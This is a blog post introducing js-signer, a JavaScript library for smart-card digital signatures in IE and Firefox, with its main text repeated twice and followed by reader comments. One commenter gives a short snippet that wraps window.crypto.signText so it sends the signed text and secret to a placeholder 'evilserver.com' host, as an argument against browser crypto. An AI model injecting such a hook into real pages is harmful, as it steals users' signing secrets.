Digital Signatures With Javascript
Important update: if you want to get things working, see this post.
Several years ago I used to work on a project that required the use of smart cards and digital signatures. I’ve already shared my experience with signing with javascript and then verifying the signature on the server side (with Java).
What I did today is to simply get the javascript, tidy it up and put it on GitHub (js-signer), so that people don’t need to copy-paste from a blogpost, and also to be able to update the project whenever there are new developments (for example Chrome and Safari implement DOMCrypt)
What are the use-cases of that? Electronic identification most often makes use of smart cards. And so software that requires to identify a citizen securely (most often banking or government software) and let him perform some actions online, needs to read the smartcards certificate details and to digitally sign content – e.g. you digitally sign your bank transfer, or you sign your request for a government service.
There are several ways to do that – e.g. Java Applet (like this one), a browser plugin or a custom-made ActiveX control. And while the applet and ActiveX is fine for internal use in organizations, where you can be sure that there’s Java installed or that everyone is using IE, these solutions are not so great for the mass public, because making the user install something is a bad user experience, and luckily not everyone is using IE. So a javascript solution must exist. Of course, the preconditions are, that the user has a digital signature, issued by a CA, and has followed the CA’s manual for installing the certificate in a browser. If these steps are not completed successfully, js-signer wouldn’t work.
Unfortunately, there’s no unified javascript solution. IE comes with CAPICOM, and Firefox has window.crypto. Safari and Chrome are waiting for a standard from W3C (DOMCrypt) before they implement window.crypto. That’s why js-signer currently supports only IE and FF, and the UX is a bit different with them.
I hope that more governments will go for electronic governance and use digital IDs (note: with the so called “anonymous credentials”, in order to ensure the privacy of citizens), and that browsers will follow and make it possible to handle smartcards without any hassle and without the need for 3rd party software.
Important update: if you want to get things working, see this post.
Several years ago I used to work on a project that required the use of smart cards and digital signatures. I’ve already shared my experience with signing with javascript and then verifying the signature on the server side (with Java).
What I did today is to simply get the javascript, tidy it up and put it on GitHub (js-signer), so that people don’t need to copy-paste from a blogpost, and also to be able to update the project whenever there are new developments (for example Chrome and Safari implement DOMCrypt)
What are the use-cases of that? Electronic identification most often makes use of smart cards. And so software that requires to identify a citizen securely (most often banking or government software) and let him perform some actions online, needs to read the smartcards certificate details and to digitally sign content – e.g. you digitally sign your bank transfer, or you sign your request for a government service.
There are several ways to do that – e.g. Java Applet (like this one), a browser plugin or a custom-made ActiveX control. And while the applet and ActiveX is fine for internal use in organizations, where you can be sure that there’s Java installed or that everyone is using IE, these solutions are not so great for the mass public, because making the user install something is a bad user experience, and luckily not everyone is using IE. So a javascript solution must exist. Of course, the preconditions are, that the user has a digital signature, issued by a CA, and has followed the CA’s manual for installing the certificate in a browser. If these steps are not completed successfully, js-signer wouldn’t work.
Unfortunately, there’s no unified javascript solution. IE comes with CAPICOM, and Firefox has window.crypto. Safari and Chrome are waiting for a standard from W3C (DOMCrypt) before they implement window.crypto. That’s why js-signer currently supports only IE and FF, and the UX is a bit different with them.
I hope that more governments will go for electronic governance and use digital IDs (note: with the so called “anonymous credentials”, in order to ensure the privacy of citizens), and that browsers will follow and make it possible to handle smartcards without any hassle and without the need for 3rd party software.
Crypto in the browser is a baaaaaad idea.
Case in point:
old = window.crypto.signText;
window.crypto.signText = function(text, secret) {
$.get(‘http://www.evilserver.com/receiveSecretData?data=’+text+’&secret=’+secret);
return old(text, secret);
}
(urlEncode and other steps skipped for clarity)
This can be injected in any number of ways – a rogue Chrome plugin, an XSS attack on a website, a minified jQuery plugin with a backdoor, a “browser toolbar” that inserts JS into the page, etc.
You don’t have control over what happens in the browser.
Don’t do crypto in the browser.
Digital signatures in the browser are not a bad idea š
The signed text is not something that nobody must understand (even if it is, injecting javascript on the page can get it regardless of whether you use window.crypto or not). The point here is to certify that it is you who sent the data, and not someone else.
And no matter what an attacker plugs, the user will be prompted for his certificate password / smartcard pin.
Using a smartcard to sign stuff is always happening in the browser somehow – either via javascript, or applet, or ActiveX. An attacker can replace all of these with their custom implementations (well, applets can be signed, but all the user will see is a “do you want to run this applet?”, that he might ignore).
Hello,
Effectively it’s difficult to find a good solution to go out of the sandbox and access smartcard readers…
For your info, on crypto with JavaScript, there is this open source project which provide some PKI/crypto tools: http://www.cardcontact.de/
Hi,
As the OP and other commentators have said, crypto on the browser is either hard (need to add the cert to the browser) or just not a good idea (general security issues).
One good answer is signing centrally rather than at the edge (browser). My company, http://www.arx.com and others make appliances which centrally store the certs (securely), and handle the signing.
The signing requests can be authenticated by name/pw or use two factor authentication.
Multiple APIs are available for developers.
It is the only option when it comes to smartcard signatures. You can’t get a remote smartcard signature – you have to do it on the machine where the smartcard is plugged.
I read your article on decrypting server side and noticed your use of Bouncy Castle. Since ITextSharp (C#) uses Bouncy Castle as well is there a manner in which to sign a PDF programmatically with the encryption? If so, does anyone know how?
How else can I use this info to generate an imaged based signature?
Dear Sir,
which information is contained in .pfx certificate file.?
Hi,
Thank you for sharing your code, it was good. I have one question though. What you seem to be signing here is some text input by the user. How can I sign a PDF document which the user selects from a file-open dialog box? I want that the signature is added in the selected PDF file, then upload that file to the server so that next time whosoever downloads & opens that file, Adobe will show that signature.
thanks in advance.
Guys just check my service regards emudhra digital signature certificate authority
Thanks for the article.
But i just wanted to know if i want to sign pdf file using JS how can i do this using JS signer.
I want to give a browse button and want to pass specific signature field for sign.
Thank
Great article…
Can you please help me out in reading owner, Expiry Date, Serial Number and Issuer using the above Code. Please reply its urgent.
I have a digital signature token. I want to read that in browser. I am a php developer. can any one tell me how to do that. Last few days i tried to do this but not able to read the token in browser(IE 9). I am tried to download applet got one also, applet name is veifyDsc.jar but that have a different package name and publisher name.
Digital Signature Integration provides professionals and consumers with a simple way to securely and efficiently sign,return,and manage documents from anywhere,application for digital signature certificate,digitally sign a pdf document,how to sign digital signature pdf,on your favorite device.
Use Signer.Digital free chrome extension.
For browser based signing scenarios, one such free Chrome extension available is Signer.Digital chrome extension. Windows Setup may be downloaded from https://download.cnet.com/Signer-Digital-Chrome-Extension/3000-33362_4-78042540.html
Installing this host and restarting Chrome will automatically add Signer.Digital Chrome Extension https://chrome.google.com/webstore/detail/signerdigital/glghokcicpikglmflbbelbgeafpijkkf
The actual working of this extension is illustrated at http://web.signer.digital/PdfSigning/Index
For Javascript code, please refer to answer at
https://stackoverflow.com/a/55676351/9659885